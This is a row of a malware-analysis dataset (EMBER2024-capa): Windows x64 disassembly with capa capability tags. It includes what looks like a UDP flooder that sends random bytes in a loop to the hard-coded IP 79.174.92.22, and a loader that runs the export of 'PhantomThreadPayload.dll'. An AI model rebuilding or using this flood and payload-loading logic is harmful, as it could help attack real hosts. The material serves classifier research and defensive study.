joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401187e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14011882e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14011882e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14011882e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14011882e
cmp dword [rcx + 0x84], 0xe
jbe 0x14011882e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140118830
xor al, al
add rsp, 0x28
ret

Function at 0x14011c770
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14013ebf0
sub rsp, rax
mov rax, qword [0x140189940]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140131834
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14011c7bf
mov rax, rbp
jmp 0x14011c8c7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x1919d0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140132484
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x1919d0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14011c8c3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14011c8c3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140132484
test rax, rax
js 0x14011c8c3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14011c8c3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14011c8b5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14011c8b5
cmp byte [rcx], 0xd
jne 0x14011c89b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14011c8aa
cmp byte [rcx + 1], 0xa
jne 0x14011c8aa
inc rcx
jmp 0x14011c8aa
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x189c30]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14011c87d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14011c8c7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14013eaf0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14012f038
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14012f0a7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14012f0a7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14012f0a7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14012f0a7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14012f0a7
cmp dword [rcx + 0x84], 0xe
jbe 0x14012f0a7
cmp dword [rcx + 0xf8], 0
je 0x14012f0a7
mov ecx, ebx
call fcn.14012f158
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14012ef34
nop
cmp dword [rbp + 0x20], 0
je 0x14012f0f5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14012f100
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14012f038

Function at 0x14012f23c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14012f038
Function at 0x140132530
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1401919d0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140132587
cmp word [rdx], r13w
jne 0x140132587
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14013258c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1401326b1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1401326d2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1401325c5
mov rdx, r9
mov word [rbx], cx
jmp 0x1401325ec
cmp r9, r8
jae 0x1401325fc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1401325a6
jmp 0x1401326b1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1401326a6
cmp dword [rsp + 0x80], esi
je 0x1401326a6
lea r8, [0x1401919d0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14013267e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14013264e
mov word [rbx], r13w
jmp 0x1401326ae
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14013265b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1401326ae
cmp word [rsp + 0x70], r13w
jne 0x14013268b
cmp rbx, r14
je 0x140132648
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14013248c
cmp word [rsp + 0x70], r13w
je 0x1401326b1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401919d0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1401326ab
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1401326b1
Function at 0x1401341c0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1401341d6
mov al, 1
jmp 0x140134236
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1401341e7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140134234
mov ecx, dword [rcx + 0x18]
nop
call fcn.140139d78
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140134234
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140134234
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140134234
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140134236
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140139620
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140139650
xor eax, eax
jmp 0x140139713
mov rbp, rbx
cmp word [rax], si
je 0x140139675
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14013965c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140139658
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140139540
movsxd r14, eax
test eax, eax
jne 0x1401396b3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140139649
mov rcx, r14
call fcn.140135938
mov rdi, rax
test rax, rax
jne 0x1401396cc
xor ecx, ecx
call fcn.1401317f8
jmp 0x1401396a8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140139540
test eax, eax
jne 0x1401396fd
mov rcx, rdi
call fcn.1401317f8
jmp 0x140139707
xor ecx, ecx
call fcn.1401317f8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14013da70
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14013248c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14013248c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14013dbc0
cmp rax, 0xffffffffffffffff
je 0x14013dbc0
xor edi, edi
test rbp, rbp
jle 0x14013db6b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1401348d4
mov rbx, rax
test rax, rax
jne 0x14013daf8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14013db61
mov edx, 0x8000
mov ecx, r14d
call fcn.140130050
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140133cc4
cmp eax, 0xffffffff
je 0x14013db41
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14013db08
mov edx, r15d
mov ecx, r14d
call fcn.140130050
jmp 0x14013db61
cmp byte [rsi + 0x38], dil
je 0x14013db58
cmp dword [rsi + 0x34], 5
jne 0x14013db58
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14013db61
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1401317f8
jmp 0x14013dbd4
jns 0x14013dbd4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14013248c
cmp rax, 0xffffffffffffffff
jne 0x14013db8c
cmp byte [rsi + 0x30], dil
je 0x14013dbd4
mov edi, dword [rsi + 0x2c]
jmp 0x14013dbd4
mov ecx, r14d
call fcn.140139d78
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14013dbd4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14013dbd4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14013dbcd
mov eax, dword [rsi + 0x2c]
jmp 0x14013dbd2
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14013248c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14013ebb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14013ebd8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14013ebd8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
mov ecx, 0x28
call fcn.140001fbc
test rax, rax
je 0x140001047
movups xmm0, xmmword [rdi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rdi + 0x20]
movsd qword [rax + 0x20], xmm0
mov qword [rsp + 0x40], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140001560]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140001087
mov rax, rbx
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x1400018f0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1580
call fcn.140002110
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1570], rax
mov r14, rcx
mov rcx, qword [rcx + 8]
movzx ecx, word [rcx]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [r14]
mov rcx, qword [rcx]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x101
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 2
mov ecx, edx
lea r8d, [rdx + 0xf]
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, qword [r14 + 0x10]
mov r12, rax
mov r13d, dword [rcx]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rsp + 0x1e4], eax
mov edx, 1
mov dword [rsp + 0x1564], 0xffffffff
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x1e4], eax
inc rdx
cmp rdx, 0x270
jb 0x140001990
mov rax, qword [r14 + 0x10]
xor ebx, ebx
mov dword [rsp + 0x1e0], 0x270
cmp qword [rax], rbx
jbe 0x140001a22
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
call fcn.140001ba0
mov eax, eax
imul rdx, rax, 0xff
test edx, edx
jne 0x140001a08
nop dword [rax]
lea rcx, [rsp + 0x20]
call fcn.140001ba0
mov eax, eax
imul rdx, rax, 0xff
cmp edx, 1
jb 0x1400019f0
mov rax, qword [r14 + 0x20]
shr rdx, 0x20
mov rcx, qword [rax]
mov byte [rbx + rcx], dl
inc rbx
mov rax, qword [r14 + 0x10]
cmp rbx, qword [rax]
jb 0x1400019d5
lea r15d, [r13 - 0x320]
xor edx, edx
lea rax, [rsp + 0x1e0]
mov edi, r15d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
mov eax, r15d
neg eax
div r15d
mov esi, edx
nop
lea rcx, [rsp + 0x30]
call fcn.140001ba0
mov eax, eax
imul rbx, rax, 0xff
test ebx, ebx
jne 0x140001a98
nop word [rax + rax]
lea rcx, [rsp + 0x30]
call fcn.140001ba0
mov eax, eax
imul rbx, rax, 0xff
cmp ebx, 1
jb 0x140001a80
mov rax, qword [r14 + 0x20]
lea rcx, [rsp + 0x28]
shr rbx, 0x20
mov rbp, qword [rax]
call fcn.140001ba0
cmp r13d, 0x320
jne 0x140001ac8
add eax, r13d
lea rcx, [rsp + 0x20]
mov byte [rax + rbp], bl
call fcn.140001ba0
jmp 0x140001b28
mov eax, eax
imul rax, rdi
cmp eax, edi
jae 0x140001aea
cmp eax, esi
jae 0x140001aea
lea rcx, [rsp + 0x28]
call fcn.140001ba0
mov eax, eax
imul rax, rdi
cmp eax, esi
jb 0x140001ad6
shr rax, 0x20
lea rcx, [rsp + 0x20]
add eax, 0x320
mov byte [rax + rbp], bl
call fcn.140001ba0
mov eax, eax
imul rax, rdi
cmp eax, r15d
jae 0x140001b24
cmp eax, esi
jae 0x140001b24
nop
lea rcx, [rsp + 0x20]
call fcn.140001ba0
mov eax, eax
imul rax, rdi
cmp eax, esi
jb 0x140001b10
shr rax, 0x20
mov rdx, qword [r14 + 0x20]
lea r8d, [rax + 0x320]
xor r9d, r9d
mov rcx, r12
mov rdx, qword [rdx]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140001a60
Function at 0x140001ba0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, qword [rcx]
mov r10d, 0x270
mov ecx, dword [r9]
cmp ecx, r10d
jne 0x140001c01
lea r8, [r9 + 8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140001bc0
mov ecx, dword [r9]
jmp 0x140001ceb
cmp ecx, 0x4e0
jb 0x140001ceb
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001c20
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001c70
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140001e20
Capabilities:
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push rbx
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
lea rdx, str.Balling_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
lea rdx, [0x140001590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rax, str.79.174.92.22
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], 0x6987
mov qword [rsp + 0x40], 0x384
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
jne 0x140001ee0
lea rdx, str.Fatal_error_in_host_name_resolving
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
lea rdx, [0x140001590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x60]
call fcn.140001620
nop
lea rcx, [rsp + 0xa0]
call fcn.140001730
nop
mov ecx, 0x384
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x38], rax
mov ebx, 0x15e
nop dword [rax + rax]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.1400015f0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001010
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140001dd0
nop
lea rcx, [rsp + 0x50]
call fcn.1400018d0
sub rbx, 1
jne 0x140001f30
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140002aac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002af6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002af6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002af6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002af6
cmp dword [rcx + 0x84], 0xe
jbe 0x140002af6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002af8
xor al, al
add rsp, 0x28
ret
Function at 0x140001130
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, 0x400
xor edx, edx
mov esi, eax
mov ecx, 0x1300
xor eax, eax
mov r8d, esi
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rax + 0x28]
add ecx, ebx
movsxd rdx, ecx
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LocalSize]
mov rcx, qword [rsp + 0x40]
lea r8, str._s_failed_with_error__d:__s
mov qword [rsp + 0x28], rcx
mov r9, rdi
shr rax, 1
mov rcx, rbx
mov rdx, rax
mov dword [rsp + 0x20], esi
call fcn.140001070
xor r9d, r9d
lea r8, str.Error
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001560
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str._n__________._____________________________________________________.________________________________.____n______________________________________________________________________________________________n___________________________________________________________________________________n___________Y_________________________Y_Y_______________Y___________________________n____________________________________________________________________________________n____________________________________________________________________________________________
call fcn.140001010
lea rcx, [0x140003ae8]
call fcn.140001010
cmp ebx, 2
jge 0x1400015cc
mov rdx, qword [rdi]
lea rcx, str.Usage:_s__xc___n_n
call fcn.140001010
lea rcx, str.x_:_Run_Payload_Fiber_once__switch_permanently_to_Dummy_Fiber_after__in_this_case_a_copy_of_the_Primary_Fiber__n
call fcn.140001010
lea rcx, str.c_:_Continuously_switch_back_and_forth_between_Primary_Fiber__Payload_Fiber_n_n
call fcn.140001010
mov eax, 1
jmp 0x140001699
mov rdx, qword [rdi + 8]
xor ebx, ebx
cmp byte [rdx], 0x78
jne 0x1400015e4
cmp byte [rdx + 1], bl
jne 0x1400015e4
mov byte [0x140005034], bl
jmp 0x14000160c
movzx ecx, byte [rdx]
sub ecx, 0x63
jne 0x1400015f5
movzx ecx, byte [rdx + 1]
movzx eax, bl
sub ecx, eax
movzx eax, byte [0x140005034]
test ecx, ecx
mov edx, 1
cmove eax, edx
mov byte [0x140005034], al
lea rcx, str.PhantomThreadPayload.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140005620], rax
test rax, rax
je 0x14000164a
lea rdx, str.PayloadFunc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005640], rax
test rax, rax
jne 0x140001656
lea rcx, str.____Unable_to_get_payload_export_PayloadFunc_n
jmp 0x140001651
lea rcx, str.____Unable_to_Load_PhantomThreadPayload.dll_n
call fcn.140001010
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rax
lea r8, [0x140001310]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140005620]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400016d0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001fa4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001fee
mov ecx, 0x5a4d
